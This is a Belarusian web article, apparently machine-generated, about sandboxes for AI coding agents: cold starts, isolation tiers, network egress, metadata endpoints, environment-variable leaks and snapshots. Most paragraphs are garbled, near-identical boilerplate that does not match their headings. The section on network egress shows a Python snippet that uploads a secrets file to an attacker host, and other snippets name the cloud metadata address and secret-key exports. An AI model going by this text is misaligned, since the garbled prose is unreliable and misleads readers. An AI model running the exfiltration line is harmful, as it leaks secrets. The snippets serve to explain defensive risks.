Галоўная / Артыкулы

5 рэчаў пра пясочніцы для агентаў, якія варта ведаць кожнаму AI-інжынеру

Пяць рэчаў пра пясочніцы для AI-агентаў, што пішуць код: лічбы халоднага старту рэдка кажуць праўду, бенчмарк пустога цыкла і чаму агентам патрэбна іншае.

Выдавец: REACTAPP.TOP13 хв чытання3054 слоў

Крыніцы: 5 Things Every AI Engineer Should Know About Agent Sandboxes

Наступныя прытамлівкі паказваюць практычны шлях для розумэння тэмы «5 галоўных пунктав, якія кожны інжынер AI павінен знаць пра агентскія сэндбоксы». Акцэнт ставіцца на контракты, перакананняя і месцы для коду, а не на мотывацыйныя аспекты. Калі працуеце на стадзіі адгляду, спачатку запісайце контракт: неабяжныя даны, сігнал успеху і тое, што выканаецца у разы ўзельнага нявыполнення. Такі чарткі дапамагае заліцьваты пазнейшыя змены ў кодзе. Спрыймайце гэтую стадзію як контракт межа данымі і перакананымі выходамі. Дайце назву рэзультатам, задаце крытэрыя успеху і не падтрымайце беззвучнае частковае выполнення.

Think → Execute → Wait → Think → Execute → Wait

1. Чысла, атрыбутаваныя стадзіі «холоднага запуску», рэдка калі апрантуюць рэальнага агента

Чысла, атрыбутаваныя стану «холаднага запуску», рэдкасцю даюць наявныя найлепшыя рэзультаты, калі іх спрыяваць як меркаваную велічыну. Запісаце адны ідэальны прыклад працы, адну справу з бягам і прыметкі па поверненню да пачатковага стану пры розшырэнні масштаба. Запісвайце часы выканання і косты токенаў або запытак праза функцыйнае рэзультаты. Відкрытыя даныя пра косты з самага пачатку запобегаюць неспакоўным рахункам, калі працэс пераходзіць з дэмавайнага рэжыма ў спяльныя асяроддзя. Храніце стан графа ў простам і тыпаваным фармаце. Вярнутыя структуры маскуюць інфармацыю пра тое, які вузел запісаў канкрэтны поле, і спакшваюць продажчыку працу пасля перарываў.

Python
Node.js
npm packages
Python packages
environment variables
filesystem mounts
networking
data-science libraries
browser automation
Git
compilers

Тэст на порожній цыкл

Этап тэставання з порожнім цыклам працюе найкрашча, калі яго розглядаць як меркаваемую плошчу. Запісаце адна ідэальная версія працы, адзін прыклад неудачы і запіс працэў павернення да пярвоначальнага стану пры расшырэнні масштаба. Храніце настройкі паза кодам прыемленае. Файлы сераўіснага сэрвісу, базы секрэтных даных і флагі функцыйяў должны знаходзіцца ў аднам месцы, куды аператары можаць адбавляць контроль без неабяжнага чытання всіх дадзеных. Храніце стан графа ў простам і тыпаваным фармаце. Вярнутыя структуры дадзеных маскуюць інфармацыю пра тое, які вузел запісаў канкрэтны поле, і спакоююць продажнае воскрэсленне пасля перэрываў.

time ./start-minimal-vm
150 ms
import pandas as pd
import numpy as np
import requests
data = pd.read_csv("dataset.csv")
print(data.describe())
print(2 + 2)

Чаму агенты пагаршуюць сітуацію

Агенты The Why дапамагаюць гэтам этапу працаваць наяўней, калі яго спрыяваць як мерыемую паверхню. Зафіксавайце адны ідэальны прыклад, адзін кейс неудачы і запіс пра вярнэнне да пачатковага стану перш чым расшырваць масштабы. Документавайце як шлях успеху, так і шлях вяснавання проблемы. Перапрыбуткі, людзкія контралі і обработка некорэктных паведамленняў ёсць часткай продукту, а не пасляднім дапрацоўкам. Храніце стан графа ў простым і тыпаваным фармаце. Вярнутыя структуры дакументаў маскуюць інфармацыю пра тое, які вузел запісаў кожны поле, і спакшваюць продовжэнне працы пасля перарываў. Агенты The Why дапамагаюць гэтам этапу працаваць наяўней, калі яго спрыяваць як мерыемую паверхню. Зафіксавайце адны ідэальны прыклад, адзін кейс неудачы і запіс пра вярнэнне да пачатковага стану перш чым расшырваць масштабы. Спрыявайце гэтам этапу як кантракту межаў вхідных дадзеных і перакананых выходных рэзультатаў. Даці назвы артыфактам, задаць крытэрыя успеху і адмовіцца ад беззвучнага частковага завершэння працы.

Agent
  ↓
Create sandbox
  ↓
Initialize runtime
  ↓
Run command
  ↓
Destroy sandbox
Agent
  ↓
Create sandbox
  ↓
Initialize runtime
  ↓
Run command
  ↓
Destroy sandbox

Лепшая архітэктура: «тэплыя» сандбоксы

Для крашчай архітэктуры на стадыі разработкі неабяжна прадзеўначыць вхідныя даны, адпаведальнага за кожны крок і крытэрыя завершэння пры змены коду. Аператары должны магчымае перзапускаць крок з вядомай точкі контролю, не падозрываючы прыхованы стан сістэмы. Запісваць час выканання і вартасць токеноў або запытак праза функцыйнае рэзультат. Відкрытая інформацыя пра вартасці запобегае неспакоўным рахункам, калі працэс пераходзіць з дэмовай асяроддзя ў спакульную. Неабяжна атрымаць пашчатковую згоду чалавека для тых крокаў, якія выкарыстоўваюць грошы або зміняюць даны у працоўный сервіс. Працэс складання коду сам по сабе не гарантуе полнайасці бізнес-процэсаў.

┌── Warm Worker
Agent ───────────┼── Warm Worker
                 ├── Warm Worker
                 └── Warm Worker

Што трэба мерыць

На стадыі «Што трэба змерыць» неабяжна практычна вказаць інпуты, адпавядаюшчага за крок адпаведальнага, а таксама крэтынія выходу пры змены коду. Аператары должны магчымаць перзапуск кроку з вядомай точкі контролю, не падозрываючы схованы стан. Конфігурацыю трэба захаваць пазнаходзіцца за межамы коду прыемленае. Файлы сераўнавання, хранільнікі секрэтных дадзеных і флагі функцый належыць у аднам месца, якое аператары можаць пераглядаць, не чытаяўшы весь лянцуг. Пры выкананні дзеяння, якія купуюць грошы або зменяюць даныя ў працэсе, неабяжна выкарыстоўваць людскія празгляды. Прыемленае на час кампілявання не ўзроўнавалася з повнасцю бізнес-процэсаў.

"How quickly can Linux boot?"
Agent request
    ↓
Sandbox allocation
    ↓
Filesystem ready
    ↓
Runtime ready
    ↓
Dependencies ready
    ↓
Network ready
    ↓
First command executed

2. Безпека сандбокса залежыць ад таго, што вы дзеліцеся з сваім суседам

Для этапы, дзе безпека 2 Sandbox залежыць, перад змянайом код неабходна ясная прызначэння вхідных дадзеных, адміністратара крока і крэтэрыяў завершэння. Аператары должны магчымае перайсці кіму-то з вядомага пункта контролю, не спрабоўваючы здагадвацца пра схованы стан. Неабходна аддзеўнаваць як шлях успеху, так і шлях вярнення да нормы. Перапрыбуткі, людзкія пераказы і обработка некорэктных паведамленняў ёсць часткай продукту, а не яго пазнейшай дапрацоўкі. Неабходна людзкая аправарэнне для тых крокаў, якія выкарыстоўваюць грошы або зміняюць даны праўай працы. Компіляцыйныя налашчэнні не ёсць падставай для стверджэння, што продукт ўсёшырокі. Для этапы, дзе безпека 2 Sandbox залежыць, перад змянайом код неабходна ясная прызначэння вхідных дадзеных, адміністратара крока і крэтэрыяў завершэння. Аператары должны магчымае перайсці кіму-то з вядомага пункта контролю, не спрабоўваючы здагадвацца пра схованы стан. Спрыяйце цій этапы як даговору межа вхідных дадзеных і перакананых выходных рэзультатаў. Назвайце всі элементы, задаць крэтэрыяў успеху і не падпісвайцеся на частковае завершэння без паведамлення.

python generated_code.py
Host Linux Kernel
       │
 ┌─────┴─────┐
 │           │
Agent A    Agent B
Container  Container

Спектр ізоляцыі ў «песочнай яме»

Калі працуеце над стадзіяй «Спектр ізоляцыі ў „песочнай яме“», спачатку запісуйце неабходныя умовы: трэбуемыя даныя, сігнал успеху і тое, што выходзіць пад частым неудачам. Такі спіс дапамагае залішацца чыстым пад час пазнейшых змян у кодзе. Запісвайце час выканання і вартасць токеноў або запытанняя пры кожным функцыйнальным выніку. Відразлівая вартасць з самага пачатку запобегае неспакою, калі праця пераходзіць з дэмавайнага рэжыма ў спяльныя сераўеры. Стварайце контрольныя пункты пасля дорогіх крокаў. Програма не должна зноў нараховваць плата за той самы вызов LLM, калі аператар праканае пазнейшы вузел.

Ранг 1: V8 Isolates і WebAssembly

Калі працуеце над стадзіяй Tier 1 V8 Isolates, спачатку запісайце контракт: неабяжлівыя вхідныя даны, сігнал успеху і тое, што выходзіць у разе частковага абякання. Такій чэк-ліст дапамагае заставаць будучыя змены коду чыстымі. Зберагаеце настройкі пазначыней ад коду прыемлена. Файлы сераўіснага сэрвісу, храненні секрэтных даных і флагі функцыйяў должны знаходзіцца ў аднам месцы, куды аператары можаюць адбавляць аўдыт без неабяжлівага чытання всей структуры. Стварайце контрольныя пункты пасля дорогіх крокаў. Функцыя вярнення працы не должна занова ставіць плату за той самы вызыв LLM, калі аператар перапрыяўляе працу да наступнага вузла.

~milliseconds
gcc main.c
return userInput.toUpperCase();

Tier 2: Стандартныя контэйнеры OCI

Калі працуеце над стадзіяй Tier 2 Standard OCI, спачатку запісайце умовы кантракту: неабяжлівыя даныя, сігнал успеху і тое, што выходзіць у разе частковага нявыпання. Такі спіс контроля дапамагае заліцьваты змяны ў кодзе чыстымі. Документавайце як шлях успеху, так і шлях вяснавання. Перапрыбуткі, людзкія перакрыцця і апрацоўка некорэктных паведамленняў ёсць часткай продукту, а не пасляднім дапрацоўкам. Стварайце контрольныя пункты пасля дорогіх крокаў. Сістэма вярнення не павінна зноў нараховваць плата за той самы вызыв LLM, калі аператар перапрыбуе пазнейшы вузел. Калі працуеце над стадзіяй Tier 2 Standard OCI, спачатку запісайце умовы кантракту: неабяжлівыя даныя, сігнал успеху і тое, што выходзіць у разе частковага нявыпання. Такі спіс контроля дапамагае заліцьваты змяны ў кодзе чыстымі. Спрыятлівае ставленне да гэтай стадзіі як да кантракту межа данымі і перакананымі выходамі. Дайце назвы артыфактам, задаць тэсты на успех і не падтрымвайце беззвучнае частковае завершэння.

Docker
containerd
runc
Kubernetes Pods
Process isolation
Filesystem isolation
Resource limits
Network namespaces
python
node
gcc
git
bash

Рагул 3: Ядры ў прасторэ карыстальніка

Этап ядроў ў прасторэ карыстальніка Рагул 3 работае наякша, калі яго спрыяваць як мерыемую паверхню. Запісаце адна ідэальная транскрыпцыя, адзін прыклад неудачы і прыметкі па абратанню рэшыцьяй пры расшырэнні масштаба. Запісвайце часы выканання і кост токенаў або запытаў праза рэзультаты функцыйнасці. Відразлівасць костаў з самага пачатку запобегае неспакойным рахункам, калі працэс пераходзіць з дэмаверсіі ў спяльныя асяроддзя. Храніце стан графаў у простай форме з чыстым тыпам дадзеных. Вярнутыя блокі маскуюць інфармацыю пра тое, калькі вузел запісаў калькі поле, і спакшваюць продажчэй работу пасля перарываў.

Agent
  ↓
Container
  ↓
User-space kernel
  ↓
Host kernel
  ↓
Hardware

Рагул 4: Мікро-ВМ

Этап MicroVM-ў рангу 4 працюе наякша, калі яго спрыяваць як мерыемую паверхню. Зафіксавайце адна ідэальная транскрыпцыя, адзін прыклад неудачы і запіс пра вярнэнне да пачатковага стану, перш чым расшырваць сферу дзеяння. Зберагаюце настройкі пазыроўна ад коду прыемлівання. Файлы сяродавішча, хранільнікі секрэтных дадзеных і флагі функцый должны знаходзіцца ў аднам месцы, куды аператары можаць адбавляць контроль без неабяжнага чытання всіх дадзеных. Зберагаюце стан графа ў простам і тыпаваным фармаце. Вярнутыя блокі маскуюць інфармацыю пра тое, які вузел запісаў канкрэтны поле, і спакоююць продажчыку пасля перарываў.

Agent
  ↓
Guest Linux Kernel
  ↓
Virtual Machine Boundary
  ↓
Host Kernel
  ↓
Hardware

3. Выход у сетка можа быць больш небяпечным, чым выхад з сандбокса

3 Network egress можа працаваць наякнайэфектывней, калі яе розглядаць як вімерную паверхню. Зберагачыце адны ідэальны прыклад працы, адзін прыклад неудачы і запіс пра вярнэнне да пачатковага стану перш чым расшырваць сферу дзеяння. Дакументавайце як шлях успеху, так і шлях вярнэння да нормальнага стану. Перапрыбуткі, людзкі контроль і обработка некорэктных паведамленняў ёсць часткай продукту, а не чымсь, што дадзецца дагэўна пазніяй. Робіце стан графа простым і тыпавым. Вкладзеныя блокі маскуюць інфармацыю пра тое, канферы ўзел напісаў канкрэтны поле, і спакоююць працу пасля перарываў. 3 Network egress можа працаваць наякнайэфектывней, калі яе розглядаць як вімерную паверхню. Зберагачыце адны ідэальны прыклад працы, адзін прыклад неудачы і запіс пра вярнэнне да пачатковага стану перш чым расшырваць сферу дзеяння. Разглядайце гэты этап як кантракт межа вхіднымі данымі і перакананымі выходнымі рэзультатамі. Даўайце назвы артыфактам, задаюце крытэрыя успеху і адмовляйцеся ад мовчанкавага частковага завершэння.

import requests
requests.post(
    "https://attacker.example.com/upload",
    files={"data": open("/workspace/secrets.txt", "rb")}
)
Read file
   ↓
HTTP request
   ↓
Attacker receives data

Апасны канецчык метаданных

Для этапы небяспечных канцэнтраў мета-даных неабходна прадзефінаваць вхідныя даны, адпаведальную особу за выкананне крока і крытэрыя завершэння пры зміне коду. Аператары должны магчыма было перзапускаць крок з вядомай точкі контролю, не падозрываючы прыхованы стан. Запісваць час выканання і вартасць токенаў або запытак праза функцыйнае рэзультат. Відкрытая візуалізацыя вартасцей запобегае неспакоўным рахункам, калі працэс пераходзіць з дэмавай версіі ў спяльныя асяроддзя. Заставіць людзкую апраўду на тых кроках, якія вітрачаюць грошы або зменяюць даны у працэйнай асяроддзі. Праця ў час складання коду не абавесцівае повнайсткі рэалізацыі бізнес-функцыйяў.

169.254.169.254

Стандартная заборона должна быць вашым пачатковым пунктом

За замовчанням паведамленне працэйкі гэта мусіць быць на стадзіі «stage»; перш чым зменяць код, неабходна адзначыць вхідныя даны, власніка крока і крытэрыя завершэння. Аператары должны магчымаць перзапуск крока з вядомай точкі контролю, не падозрываючы прыхованы стан. Конфігурацыю трэба захаваць пазнаходзячыся за межамі коду прыемліцеля. Файлы сераўнавання, хранальнікі секрэтных дадзеных і флагі функцый крануцца ў аднам месцы, якое аператары можаць пераглядаць, не чытаючы весь ланцуг задач. Прызначыць людскія апраўдкі для рэлей, якія вітрачаюць грошы або зменяюць даны у працэйнай сітцы. Падключэння пад час компілявання не ўзроўнаўцяеся з полным адпрацоўкам бізнес-процэсаў.

ALLOW INTERNET
DENY ALL

Не прасачвайце зменныя сераўнавання

Для этапы асяроддзя «Не прасачваць» неабяжна ўзначыць вхідныя даны, адпаведальнага за крок і крэтырыя завершэння пры зміне коду. Аператары должны магчымаць перзапуск кроку з вядомай точкі контролю, не спрабоўваючы здагадвацца пра схованы стан. Неабяжна задокументаваць як шлях успеху, так і шлях вярнення да нормы. Перапрыбуткі, людзкія пераказы і апрацоўка некорэктных паведамленняў ёсць часткай продукту, а не чымсь, што дадаецца пазней. Неабяжна застосавіць людзкую апраўдку для тых крокоў, якіе выкарыстоўваюць грошы або зміняюць даны ў працэсе віробніцтва. Працэсы, якія выкананы ў часе компіляцыі, не ёсць падтверджэнням полной готовасці продукту. Для этапы асяроддзя «Не прасачваць» неабяжна ўзначыць вхідныя даны, адпаведальнага за крок і крэтырыя завершэння пры зміне коду. Аператары должны магчымаць перзапуск кроку з вядомай точкі контролю, не спрабоўваючы здагадвацца пра схованы стан. Спрыяйце таму, каб гэтае стадыя выступала як контракт межа вхіднымі данымі і перакананымі выходнымі рэзультатамі. Даўце назвы всім элементам, узначыць крэтырыя успеху і не падтрымайце безсловеснае частковае завершэння кроку.

export OPENAI_API_KEY="super-secret-key"
export AWS_SECRET_ACCESS_KEY="..."
export DATABASE_PASSWORD="..."
env

4. Актуальна інформацыя пра стане можа быць важлівейшая чым час запуску

Калі працуеце з 4 актуальнымі кадрамі стана, спачатку запісайце умовы: неабяжлівыя даныя, сігнал успеху і тое, што выходзіць у разе частковага невыпання. Такі спіс дапамагае заліцвачыць змяны коду. Запісуйце часы выканання і косты токеноў або запытак па боку функцыйнальных рэзультаатаў. Відразлівасць костоў з самага пачатку запобегае неспакойным рахункам, калі працэс пераходзіць з дэмаверсіі ў спяльныя асяроддзя. Ствараюце контрольныя пункты пасля дорогіх крокаў. Функцыя вярнення не должна занова нарахоўваць косты той самай вызову LLM, калі аператар прабуюць зноў выконаць пазнейшы вузел.

Turn 1
Read repository
Turn 2
Run tests
Turn 3
Tests fail
Turn 4
Edit code
Turn 5
Run tests again
Turn 6
Build application
/workspace
    ├── src/
    ├── package.json
    ├── tests/
    └── node_modules/
Keep VM alive
     ↓
Fast
     ↓
Expensive

Destroy VM
     ↓
Cheap
     ↓
Slow

Увядзенне кадраў стана

Калі працюеце над этапам дзе ствараюцца „снэпшоты“, спачатку запісайце умовы контракту: неабяжлівыя даны, сігнал успеху і тое, што выходзіць пад частыя неудачы. Такі спіс контроля дапамагае заліцвачыць змяны ў кодзе пасля таго. Храніце настройкі за межамі коду прыемліка. Файлы сераўнавання, хранальнікі секрэтных даных і флагі функцыйяў должны знаходзіцца ў аднам месцы, куды аператары можаюць адбавіць аўдыт без неабяжлівага чытання всей структуры. Стварайце контрольныя пункты пасля дорогіх крокаў. Програма для продакцыі не должна занова ставіць плату за той самы вызов LLM, калі аператар перапрыяўляе працу да наступнага элемента.

Running Agent
      ↓
Memory + State
      ↓
Snapshot
      ↓
Object Storage
VM pauses
   ↓
Snapshot saved
   ↓
Resources released
Request
   ↓
Restore snapshot
   ↓
Continue execution
Fast resume
+
Persistent state
+
Lower idle cost

5. Ўжыце чатырнаць вопыта, каб выбраць свой сэндбокс

Калі працуеце заэтапна, якая складаецца з 5 пытак «Іспользуй чатырнаць характэрыстыкаў», спачатку запісайце контракт: неабходныя даны, сігнал успеху і тое, што выканаецца у разе частковага нявыполнення. Такі спіс пераканальвае ў тым, што пасляэйшныя змены коду будуць чыстымі. Документавайце як шлях успеху, так і шлях вярнення да нормальнага стану. Перапрыбуткі, людзкія контрольныя пункты і обработка некорэктных паведамленняў ёсць часткай продукту, а не элементамі пасляэйшай дапрацоўкі. Зробіце пераканальну пазначку пасля дорогіх крокаў. Сістэма вярнення не павінна знову ставіць плату за той самы вызов LLM, калі аператар перапрыбуе пазнейшы вузел. Калі працуеце заэтапна, якая складаецца з 5 пытак «Іспользуй чатырнаць характэрыстыкаў», спачатку запісайце контракт: неабходныя даны, сігнал успеху і тое, што выканаецца у разе частковага нявыполнення. Такі спіс пераканальвае ў тым, што пасляэйшныя змены коду будуць чыстымі. Спрыймайце гэты этап як контракт між вхіднымі данымі і перакананымі выходнымі рэзультатамі. Дайце назвы артыфактам, задаць параметры пераканання успеху і не падтрымайце тыхню частковую завершэння працы.

Пытанне 1: Какі язык патрэбны агенту?

Запытанне 1: Какі ўровень мовы найкрашча падходзіць, калі яго розглядаць як вімерную характэрыстыку? Запісайце адна ідэальная версія, адзін прыклад неудачы і прыметку па поверненню да попярэдня стану пры расшырэнні масштаба. Запісвайце часы выканання і косты токеноў або запыткаў па боку ад функцыйнальных рэзультатаў. Візуабельнасць костаў з самага пачатку запобегае неспакойным рахункам, калі працэс пераходзіць з дэмовай асяроддзя ў спяльнаныя сераўеры. Храніце стан графа ў простам і тыпаваным фармаце. Вярнутыя структуры даных маскуюць інфармацыю пра тое, які вузел запісаў кожны поле, і спакшваюць продажчык працы пасля перэрываў.

const result = calculateSomething(input);
python analysis.py
gcc main.c
git clone ...
npm install ...

Запытанне 2: Чы можна давераць коду?

Задача 2: Этап працюе найкрашча, калі яго можна расследзіць як вімерную паверхню. Зафіксавце адна «золатая» транскрыпцыя, адзін прыклад неудачы і запіс пра вярнэнне да пачатковага стану перш чым расшырваць масштабы. Зберагаеце настройкі пазначыней ад коду прыемліка. Файлы сераўнавальнага сяродовішча, хранілішчы секрэтных дадзеных і флагі функцый должны знаходзіцца ў аднам месцы, куды аператары можаць адбавляць контроль без неабяжнага чытання всіх дадзеных. Зберагаеце стан графа ў простам і тыпаваным фармаце. Вярнутыя блокі дадзеных маскуюць інфармацыю пра тое, які вузел запісаў канкрэтны поле, і спакойваюць працу пасля перэрываў.

Внутршній агент распрацоўшчыка

Этап агента для внутрэшніх распрацоўшчыкаў працюе наякомна лепша, калі яго спрыяваць як мерыемую паверхню. Зберагучы адна ідэальная транскрыпцыя, адзін прыклад неудачы і запіс пра вярнэнне да пачатковага стану, перш чым расшырваць сферу дзеяння. Дакументаваць трэба як успешны, так і патовы шляхі рашэння проблем. Перапрыбуткі, людзкія контралі і обработка некорэктных паведамленняў ёсць часткай продукту, а не пасляднім дапрацоўкам. Станы графа трэба падтрымваць у простым і тыпаванам фармаце. Вярнутыя структуры даных маскуюць інфармацыю пра тое, які вузел запісаў кожны поле, і спакшуюць продовжэнне працы пасля перарываў. Этап агента для внутрэшніх распрацоўшчыкаў працюе наякомна лепша, калі яго спрыяваць як мерыемую паверхню. Зберагучы адна ідэальная транскрыпцыя, адзін прыклад неудачы і запіс пра вярнэнне да пачатковага стану, перш чым расшырваць сферу дзеяння. Спрыяваць гэты этап як кантракт межа вхіднымі данымі і перакананымі выходнымі рэзультатамі. Даць назвы артыфактам, задаць крытэрыя успеху і не падзеўляцца на частковае завершэння без паведамлення.

Developer
   ↓
Agent
   ↓
Hardened container

Публічны агент для калькуляцыі пакуяў

Для этапы агента з мнаглымі корыстувачамі у публічным рэжыме, пры змене коду неабходна практычна вялікасць інпутаў, адпаведальнага за крок і крэатарыяў выходу. Аператары должны магчымае перзапускнуць крок з вядомага пункта контролю, не спрабоўваючы з’ясаваць захаваны стан. Запісваюць час выканання і кост токенаў або запытаў праза функцыйнае рэзультат. Відкрытыя даныя пра косцы запобегаюць неспакоўным рахункам, калі працэс пераходзіць з дэмавай версіі ў спакоўныя сераўысы. Апраўленне людзьмі трэба атрымліваць там, дзе выконуюцца грошовыя расходы або зміняюцыся даныя ў працоўным рэжыме. Прыеднанне элементаў у час компілявання не значыць, што працэс ўжо завершаны з пагляду бізнеса.

User
  ↓
LLM
  ↓
Generated Code
  ↓
Sandbox

Запыт 3: Як выглядае ваш/вааша профіль O?

Для запітання 3 «Што такое этап?» неабяжна ўзначыць вхідныя даны, адпаведальнага за шаг і крэтыяры завершэння пры зміне коду. Аперацыйныя працавнікі павінны магчымае перазапускаць шаг з вядомай точкі контролю, не спрабоўваючы здогадвацца пра схованы стан. Конфігурацыю трэба залічыць праза код аплікацыі. Файлы сераўнавання, храненні секрэтных даных і флагі функцый павінны знаходзіцца ў адном месцы, якое працавнікі можуць пераглядаць, не чытаючы весь ланцуг задач. Пры выконанні операцый, якія коштуюць грошэй або зменяюць даны ў працэсе, неабяжна ўключыць людзкія празгляды. Падключэння на час компіляцыі не ўзначае повнасці бізнес-процэсу.

for x in data:
    calculate(x)
fork()
fork()
fork()
read()
write()
open()
close()
network()
network()
network()

Запітанне 4: Чы трэба спецыяльны кернель для гасцоў?

Для пытання 4: чы робіце вы стадыяванне, вядомае візначэнне інпутаў, адпаведальнага за крок і крэтарыяў завершэння пры змены коду? Аперацыйныя працавнікі должны магчымае перзапускаць крок з вядомай точкі контролю, не спрабоўваючы здагадвацца пра схованы стан. Дакументавайце як шлях успеху, так і шлях вярнення. Перапрыбуткі, людзкія пераказы і обработка некорэктных паведамленняў ёсць часткай продукту, а не пасляднім дапрацоўкам. Апавяржэнне чалавека неабходнае для тых крокоў, якія выкарыстоўваюць грошы або зміняюць даны праўдзівай працы. Працэс кампіляцыі не ўзроўнаважваецца з повнасцю бізнес-функцыяў.

Custom kernel modules
Specialized Linux environments
Strong multi-tenant isolation
Hardware-level virtualization boundaries

Чэк-ліст для аперацый